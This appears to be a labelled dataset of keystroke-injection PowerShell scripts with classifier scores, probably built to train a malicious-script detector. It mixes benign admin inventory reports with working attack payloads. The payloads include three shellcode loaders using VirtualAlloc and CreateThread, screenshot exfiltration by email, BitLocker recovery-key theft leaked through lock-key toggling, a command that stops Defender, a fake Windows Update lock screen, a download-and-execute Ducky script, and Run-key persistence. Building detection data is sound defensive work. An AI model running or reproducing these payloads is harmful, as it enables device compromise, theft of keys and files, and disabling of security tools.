"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_yjwd0qmk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3881897e-05
"win+r powershell enter function Get-MrEsetUpdateVersion { [CmdletBinding()] param ( [ValidateNotNul enter lOrEmpty()] [string[]]$ComputerName = $env:COMPUTERNAME, [System.Management. enter Automation.Credential()]$Credential = [System.Management.Automation.PSCredential enter ]::Empty ) $Params = @{} if ($PSBoundParameters.Credential){ $Params.Creden enter tial = $Credential enter enter",1,1,0.0013488188,0.9986512
"win r %USERPROFILE%\Pictures\Screenshots enter menu o down enter shift right shift right shift right shift right menu n down enter loot enter alt f4 win r powershell enter Send-MailMessage -From user@example.com -To user@example.com -Subject ""Photo loot"" -Body ""Please find attached your zip file"" -Attachment ""Pictures\Screenshots\loot.zip"" -SmtpServer smtp-mail.outlook.com -Port 587 -UseSsl -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList user@example.com, (ConvertTo-SecureString -String ""supersecretpassword"" -AsPlainText -Force)) enter del Pictures\Screenshots\loot.zip enter exit enter",1,1,0.00069865,0.9993013
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_mdoifkd4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_25.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter",0,0,0.999966,3.393489e-05
"win+r powershell enter function MeinValidator($thing_to_validate) { return $thing_to_validate.StartsWi enter th(""s"") } function Invoke-SomethingThatUsesMeinValidator { param( [ValidateSc enter ript( {MeinValidator $_})] $some_param ) } enter enter",0,1,0.040525883,0.9594741
"win+r enter powershell enter enter enter $H9h = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $H9h -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x9a,0x79,0x2d,0x43,0xdb,0xdf,0xd9,0x74,0x24,0xf4,0x5d,0x31,0xc9,0xb1,0x47,0x31,0x55,0x13,0x83,0xc5,0x04,0x03,0x55,0x95,0x9b,0xd8,0xbf,0x41,0xd9,0x23,0x40,0x91,0xbe,0xaa,0xa5,0xa0,0xfe,0xc9,0xae,0x92,0xce,0x9a,0xe3,0x1e,0xa4,0xcf,0x17,0x95,0xc8,0xc7,0x18,0x1e,0x66,0x3e,0x16,0x9f,0xdb,0x02,0x39,0x23,0x26,0x57,0x99,0x1a,0xe9,0xaa,0xd8,0x5b,0x14,0x46,0x88,0x34,0x52,0xf5,0x3d,0x31,0x2e,0xc6,0xb6,0x09,0xbe,0x4e,0x2a,0xd9,0xc1,0x7f,0xfd,0x52,0x98,0x5f,0xff,0xb7,0x90,0xe9,0xe7,0xd4,0x9d,0xa0,0x9c,0x2e,0x69,0x33,0x75,0x7f,0x92,0x98,0xb8,0xb0,0x61,0xe0,0xfd,0x76,0x9a,0x97,0xf7,0x85,0x27,0xa0,0xc3,0xf4,0xf3,0x25,0xd0,0x5e,0x77,0x9d,0x3c,0x5f,0x54,0x78,0xb6,0x53,0x11,0x0e,0x90,0x77,0xa4,0xc3,0xaa,0x83,0x2d,0xe2,0x7c,0x02,0x75,0xc1,0x58,0x4f,0x2d,0x68,0xf8,0x35,0x80,0x95,0x1a,0x96,0x7d,0x30,0x50,0x3a,0x69,0x49,0x3b,0x52,0x5e,0x60,0xc4,0xa2,0xc8,0xf3,0xb7,0x90,0x57,0xa8,0x5f,0x98,0x10,0x76,0xa7,0xdf,0x0a,0xce,0x37,0x1e,0xb5,0x2f,0x11,0xe4,0xe1,0x7f,0x09,0xcd,0x89,0xeb,0xc9,0xf2,0x5f,0x81,0xcc,0x64,0xa0,0xfe,0xce,0x39,0x48,0xfd,0xd0,0xc1,0xd8,0x88,0x37,0x91,0x88,0xda,0xe7,0x51,0x79,0x9b,0x57,0x39,0x93,0x14,0x87,0x59,0x9c,0xfe,0xa0,0xf3,0x73,0x57,0x98,0x6b,0xed,0xf2,0x52,0x0a,0xf2,0x28,0x1f,0x0c,0x78,0xdf,0xdf,0xc2,0x89,0xaa,0xf3,0xb2,0x79,0xe1,0xae,0x14,0x85,0xdf,0xc5,0x98,0x13,0xe4,0x4f,0xcf,0x8b,0xe6,0xb6,0x27,0x14,0x18,0x9d,0x3c,0x9d,0x8c,0x5e,0x2a,0xe2,0x40,0x5f,0xaa,0xb4,0x0a,0x5f,0xc2,0x60,0x6f,0x0c,0xf7,0x6e,0xba,0x20,0xa4,0xfa,0x45,0x11,0x19,0xac,0x2d,0x9f,0x44,0x9a,0xf1,0x60,0xa3,0x1a,0xcd,0xb6,0x8d,0x68,0x3f,0x0b;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$KXAy=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($KXAy.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$KXAy,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.248379e-05,0.99994755
"win+r powershell enter  enter function New-MrCimSession { enter [CmdletBinding()] enter param( enter [Parameter(ValueFromPipeline)] enter [ValidateNotNullorEmpty()] enter [string[]]$ComputerName = $env:COMPUTERNAME, enter [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty enter ) enter BEGIN { enter $Opt = New-CimSessionOption -Protocol Dcom enter $SessionParams = @{ enter ErrorAction = 'Stop' enter } enter If ($PSBoundParameters['Credential']) { enter $SessionParams.Credential = $Credential enter } enter } enter PROCESS { enter foreach ($Computer in $ComputerName) { enter $SessionParams.ComputerName = $Computer enter if ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: ([3-9]|[1-9][0-9]+)\.[0-9]+') { enter try { enter Write-Verbose -Message ""Attempting to connect to $Computer using the WSMAN protocol."" enter New-CimSession @SessionParams enter } enter catch { enter Write-Warning -Message ""Unable to connect to $Computer using the WSMAN protocol. Verify your credentials and try again."" enter } enter } enter else { enter $SessionParams.SessionOption = $Opt enter try { enter Write-Verbose -Message ""Attempting to connect to $Computer using the DCOM protocol."" enter New-CimSession @SessionParams enter } enter catch { enter Write-Warning -Message ""Unable to connect to $Computer using the WSMAN or DCOM protocol. Verify $Computer is online and try again."" enter } enter $SessionParams.Remove('SessionOption') enter } enter } enter } enter } enter",0,0,0.9999032,9.6815456e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_wrdnbz35"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_10.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.476685e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_f5hkvyx5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter",0,0,0.99996483,3.5164216e-05
"win+r powershell enter Start-Job -Name ""UpdateHelp"" -ScriptBlock { Update-Help -Force } | Out-null Writ enter e-Host ""Updating Help in background (Get-Help to check)"" -ForegroundColor Yellow enter Write-host ""PowerShell Version: $($psversiontable.psversion) - ExecutionPolicy enter : $(Get-ExecutionPolicy)"" -ForegroundColor yellow Set-Location $home\onedrive\s enter cripts\github Import-Module -Name PSReadline if(Get-Module -name PSReadline) { enter enter",1,1,0.049862947,0.9501371
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install nodejs-lts enter A enter enter,0,0,0.9999596,4.0410723e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_inrk955z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_25.txt"") -Encoding UTF8 enter",0,0,0.9999651,3.4883687e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_enappt1q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name ""*security*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter",0,0,0.9999658,3.422479e-05
win+r powershell enter function Get-ResourceGroupName { return getAssetName } function Clean-Resource enter Group($rgname) { Remove-AzResourceGroup -Name $rgname -Force } function Create enter -ResourceGroup { enter enter,1,1,0.0033021977,0.9966978
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_tcv80ewf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4550627e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_jsgao1fp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3794095e-05
"win+r powershell enter $KQ5Z = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $KQ5Z -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0xe3,0x8e,0xb7,0x39,0xd9,0xf7,0xd9,0x74,0x24,0xf4,0x5b,0x29,0xc9,0xb1,0x47,0x31,0x43,0x13,0x83,0xeb,0xfc,0x03,0x43,0xec,0x6c,0x42,0xc5,0x1a,0xf2,0xad,0x36,0xda,0x93,0x24,0xd3,0xeb,0x93,0x53,0x97,0x5b,0x24,0x17,0xf5,0x57,0xcf,0x75,0xee,0xec,0xbd,0x51,0x01,0x45,0x0b,0x84,0x2c,0x56,0x20,0xf4,0x2f,0xd4,0x3b,0x29,0x90,0xe5,0xf3,0x3c,0xd1,0x22,0xe9,0xcd,0x83,0xfb,0x65,0x63,0x34,0x88,0x30,0xb8,0xbf,0xc2,0xd5,0xb8,0x5c,0x92,0xd4,0xe9,0xf2,0xa9,0x8e,0x29,0xf4,0x7e,0xbb,0x63,0xee,0x63,0x86,0x3a,0x85,0x57,0x7c,0xbd,0x4f,0xa6,0x7d,0x12,0xae,0x07,0x8c,0x6a,0xf6,0xaf,0x6f,0x19,0x0e,0xcc,0x12,0x1a,0xd5,0xaf,0xc8,0xaf,0xce,0x17,0x9a,0x08,0x2b,0xa6,0x4f,0xce,0xb8,0xa4,0x24,0x84,0xe7,0xa8,0xbb,0x49,0x9c,0xd4,0x30,0x6c,0x73,0x5d,0x02,0x4b,0x57,0x06,0xd0,0xf2,0xce,0xe2,0xb7,0x0b,0x10,0x4d,0x67,0xae,0x5a,0x63,0x7c,0xc3,0x00,0xeb,0xb1,0xee,0xba,0xeb,0xdd,0x79,0xc8,0xd9,0x42,0xd2,0x46,0x51,0x0a,0xfc,0x91,0x96,0x21,0xb8,0x0e,0x69,0xca,0xb9,0x07,0xad,0x9e,0xe9,0x3f,0x04,0x9f,0x61,0xc0,0xa9,0x4a,0x1f,0xc5,0x3d,0x70,0x3b,0x07,0x7a,0x12,0xb9,0x88,0x95,0xbe,0x34,0x6e,0xc5,0x10,0x17,0x3f,0xa5,0xc0,0xd7,0xef,0x4d,0x0b,0xd8,0xd0,0x6d,0x34,0x32,0x79,0x07,0xdb,0xeb,0xd1,0xbf,0x42,0xb6,0xaa,0x5e,0x8a,0x6c,0xd7,0x60,0x00,0x83,0x27,0x2e,0xe1,0xee,0x3b,0xc6,0x01,0xa5,0x66,0x40,0x1d,0x13,0x0c,0x6c,0x8b,0x98,0x87,0x3b,0x23,0xa3,0xfe,0x0b,0xec,0x5c,0xd5,0x00,0x25,0xc9,0x96,0x7e,0x4a,0x1d,0x17,0x7e,0x1c,0x77,0x17,0x16,0xf8,0x23,0x44,0x03,0x07,0xfe,0xf8,0x98,0x92,0x01,0xa9,0x4d,0x34,0x6a,0x57,0xa8,0x72,0x35,0xa8,0x9f,0x82,0x09,0x7f,0xd9,0xf0,0x63,0x43;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$aYl6=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($aYl6.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$aYl6,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2301024e-05,0.99994767
"win+r powershell enter delay_medium enter win+r enter delay_medium enter powershell -w hidden -ep bypass enter enter enter delay_medium enter Add-Type -AssemblyName System.Windows.Forms enter enter enter $form = New-Object System.Windows.Forms.Form enter enter enter $form.Text = 'Windows Update' enter enter enter $form.BackColor = [System.Drawing.Color]::FromArgb(0,120,215) enter enter enter $form.FormBorderStyle = 'None' enter enter enter $form.WindowState = 'Maximized' enter enter enter $label = New-Object System.Windows.Forms.Label enter enter enter $label.Text = ""Working on updates`n`nDo not turn off your PC. This will take a while.`n`nYour PC will restart several times."" enter enter enter $label.ForeColor = 'White' enter enter enter $label.Font = New-Object System.Drawing.Font('Segoe UI',24) enter enter enter $label.AutoSize = $true enter enter enter $label.Location = New-Object System.Drawing.Point(400,300) enter enter enter $form.Controls.Add($label) enter enter enter $form.ShowDialog() enter enter enter",1,1,9.4163224e-05,0.9999058
"win+r powershell enter function Test-CreateIntegrationAccountPartner { $resourceGroup = TestSetup-Crea enter teResourceGroup $integrationAccountName = ""IA-"" + (getAssetname) $integratio enter nAccount = TestSetup-CreateIntegrationAccount $resourceGroup.ResourceGroupName $ enter integrationAccountName $integrationAccountPartnerName = getAssetname $integr enter ationAccountPartnerName1 = getAssetname $businessIdentities = @( (""01"",""Test1 enter ""), enter",1,1,0.0018108237,0.99818915
"win+r powershell enter Function Add-RegistryValue($key,$value) enter { enter $scriptRoot = ""HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" enter if(-not (Test-Path -path $scriptRoot)) enter { enter New-Item -Path ""HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" | Out-null enter New-ItemProperty -Path $scriptRoot -Name $key -Value $value ` enter -PropertyType String | Out-Null enter } enter Else enter { enter Set-ItemProperty -Path $scriptRoot -Name $key -Value $value | ` enter Out-Null enter } enter } enter Add-RegistryValue -key ""Window Update"" -value ""C:\Users\Lebron James\AppData\Local\Microsoft\Windows\wuauclt.exe"" enter",1,0,0.97530615,0.024693854
"win+r enter powershell enter enter enter capslock capslock capslock capslock capslock capslock capslock |Out-String|Set-Variable -Name ""DD"";$BL = $DD.ToCharArray();$c = """";foreach ($b in $BL){foreach ($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if ($b -band $a){$c += '%{NUMLOCK}'}else{$c += '%{CAPSLOCK}'}}}$c += '%{SCROLLLOCK}';Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($c);exit enter win r powershell -nop -c ""Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait('{CAPSLOCK}');powershell.exe -nop -w h""ctrl shift enter Get-BitLockerVolume|ForEach-Object{$drive = $_.MountPoint;$Key = [string]($_.KeyProtector).RecoveryPassword;if ($Key.Length -gt 5){Write-Output (""$drive Drive - Recovery Key: $Key"")}} enter enter",1,1,8.482333e-05,0.9999151
"win+r enter powershell enter enter enter function Get-ShouldOperator { enter enter [CmdletBinding()] enter param () enter DynamicParam { enter $ParameterName = 'Name' enter enter $RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary enter $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] enter $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute enter enter $AttributeCollection.Add($ParameterAttribute) enter enter $arrSet = $AssertionOperators.Values | enter Select-Object -Property Name, Alias | enter ForEach-Object { $_.Name; $_.Alias } enter enter $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet) enter enter $AttributeCollection.Add($ValidateSetAttribute) enter enter $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParameterName, [string], $AttributeCollection) enter $RuntimeParameterDictionary.Add($ParameterName, $RuntimeParameter) enter return $RuntimeParameterDictionary enter } enter enter BEGIN { enter enter $Name = $PsBoundParameters[$ParameterName] enter } enter enter END { enter if ($Name) { enter $operator = $AssertionOperators.Values | Where-Object { $Name -eq $_.Name -or $_.Alias -contains $Name } enter $help = Get-Help $operator.InternalName -Examples -ErrorAction SilentlyContinue enter enter if (($help | Measure-Object).Count -ne 1) { enter Write-Warning (""No help found for Should operator '{0}'"" -f ((Get-AssertionOperatorEntry $Name).InternalName)) enter } enter else { enter $help enter } enter } enter else { enter $AssertionOperators.Keys | ForEach-Object { enter $aliases = (Get-AssertionOperatorEntry $_).Alias enter New-Object -TypeName PSObject -Property @{ enter Name = $_ enter Alias = $aliases -join ', ' enter } enter } enter } enter } enter } enter enter",0,0,0.99917173,0.00082832144
"win+r powershell enter DUCKY_REAL_BEGIN enter REM SCRIPT CREATED BY MAKOZORT, WATCH THIS VIDEO ON HOW TO USE IT: https://youtu.be/NeD5kRLatOU enter DELAY 1000 enter GUI r enter DELAY 500 enter STRING powershell -w maximized enter ENTER enter DELAY 200 enter REM now we read in the script as a scriptblock enter STRING $script = [scriptblock]::Create((New-Object Net.WebClient).DownloadString('LINK HERE')); enter DELAY 500 enter ENTER enter DELAY 2000 enter STRING Invoke-Command -ScriptBlock $script enter DELAY 500 enter ENTER enter REM enter credentials for ""Get-Credential"" powershell module enter DELAY 500 enter STRING firsthalfofemail enter SHIFT 2 enter STRING gmail.com enter DELAY 500 enter TAB enter STRING PASSWORD enter DELAY 500 enter ENTER enter DUCKY_REAL_END enter",1,1,6.177337e-05,0.99993825
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_729469sz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_150.csv"") -NoTypeInformation enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.447161e-05
"ctrl esc cmd /c ""sc stop windefend""ctrl shift enter enter left enter",1,1,0.0095058605,0.9904942
"win+r enter powershell enter enter enter $ItF = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $ItF -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xcd,0xd9,0x74,0x24,0xf4,0x5b,0xbd,0xcc,0xd5,0x1f,0x88,0x33,0xc9,0xb1,0x47,0x83,0xeb,0xfc,0x31,0x6b,0x14,0x03,0x6b,0xd8,0x37,0xea,0x74,0x08,0x35,0x15,0x85,0xc8,0x5a,0x9f,0x60,0xf9,0x5a,0xfb,0xe1,0xa9,0x6a,0x8f,0xa4,0x45,0x00,0xdd,0x5c,0xde,0x64,0xca,0x53,0x57,0xc2,0x2c,0x5d,0x68,0x7f,0x0c,0xfc,0xea,0x82,0x41,0xde,0xd3,0x4c,0x94,0x1f,0x14,0xb0,0x55,0x4d,0xcd,0xbe,0xc8,0x62,0x7a,0x8a,0xd0,0x09,0x30,0x1a,0x51,0xed,0x80,0x1d,0x70,0xa0,0x9b,0x47,0x52,0x42,0x48,0xfc,0xdb,0x5c,0x8d,0x39,0x95,0xd7,0x65,0xb5,0x24,0x3e,0xb4,0x36,0x8a,0x7f,0x79,0xc5,0xd2,0xb8,0xbd,0x36,0xa1,0xb0,0xbe,0xcb,0xb2,0x06,0xbd,0x17,0x36,0x9d,0x65,0xd3,0xe0,0x79,0x94,0x30,0x76,0x09,0x9a,0xfd,0xfc,0x55,0xbe,0x00,0xd0,0xed,0xba,0x89,0xd7,0x21,0x4b,0xc9,0xf3,0xe5,0x10,0x89,0x9a,0xbc,0xfc,0x7c,0xa2,0xdf,0x5f,0x20,0x06,0xab,0x4d,0x35,0x3b,0xf6,0x19,0xfa,0x76,0x09,0xd9,0x94,0x01,0x7a,0xeb,0x3b,0xba,0x14,0x47,0xb3,0x64,0xe2,0xa8,0xee,0xd1,0x7c,0x57,0x11,0x22,0x54,0x93,0x45,0x72,0xce,0x32,0xe6,0x19,0x0e,0xbb,0x33,0xb7,0x0b,0x2b,0x7c,0xe0,0x14,0xcd,0x14,0xf3,0x14,0x10,0x5e,0x7a,0xf2,0x42,0xf0,0x2d,0xab,0x22,0xa0,0x8d,0x1b,0xca,0xaa,0x01,0x43,0xea,0xd4,0xcb,0xec,0x80,0x3a,0xa2,0x45,0x3c,0xa2,0xef,0x1e,0xdd,0x2b,0x3a,0x5b,0xdd,0xa0,0xc9,0x9b,0x93,0x40,0xa7,0x8f,0x43,0xa1,0xf2,0xf2,0xc5,0xbe,0x28,0x98,0xe9,0x2a,0xd7,0x0b,0xbe,0xc2,0xd5,0x6a,0x88,0x4c,0x25,0x59,0x83,0x45,0xb3,0x22,0xfb,0xa9,0x53,0xa3,0xfb,0xff,0x39,0xa3,0x93,0xa7,0x19,0xf0,0x86,0xa7,0xb7,0x64,0x1b,0x32,0x38,0xdd,0xc8,0x95,0x50,0xe3,0x37,0xd1,0xfe,0x1c,0x12,0xe3,0xc3,0xca,0x5a,0x91,0x2d,0xcf;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$1yC=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($1yC.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$1yC,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2526895e-05,0.9999474
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Example SAVE and RESTORE of of the Keyboard Lock State enter ATTACKMODE HID STORAGE enter DELAY 2000 enter SAVE_HOST_KEYBOARD_LOCK_STATE enter $_RANDOM_MIN = 1 enter $_RANDOM_MAX = 3 enter VAR $TIMER = 120 enter WHILE ($TIMER > 0) enter VAR $A = $_RANDOM_INT enter IF ($A == 1) THEN enter CAPSLOCK enter ELSE IF ($A == 2) THEN enter NUMLOCK enter ELSE IF ($A == 3) THEN enter SCROLLLOCK enter END_IF enter DELAY 50 enter $TIMER = ($TIMER - 1) enter END_WHILE enter RESTORE_HOST_KEYBOARD_LOCK_STATE enter REM At the beginning of the payload, the currently reported keyboard lock state are saved. enter REM For about 6 seconds, as a while loop iterates 120 times with a 50 ms delay, the caps, num or scroll lock keys will be randomly pressed. enter REM When the ""keyboard fireworks"" display has concluded, the previously saved keyboard lock state will be restored. enter REM Meaning, if the target has caps lock off, scroll lock off, and num lock on before the payload began, so too would it after its conclusion. enter DUCKY_REAL_END enter",1,1,5.7942554e-05,0.99994206
win+r powershell enter C:\Windows\System32\WindowsPowerShell\v1.0\powershell Get-AppxPackage C27EB4BA.D enter ropboxOEM | Remove-AppxPackage enter enter,1,1,0.00016010951,0.9998399
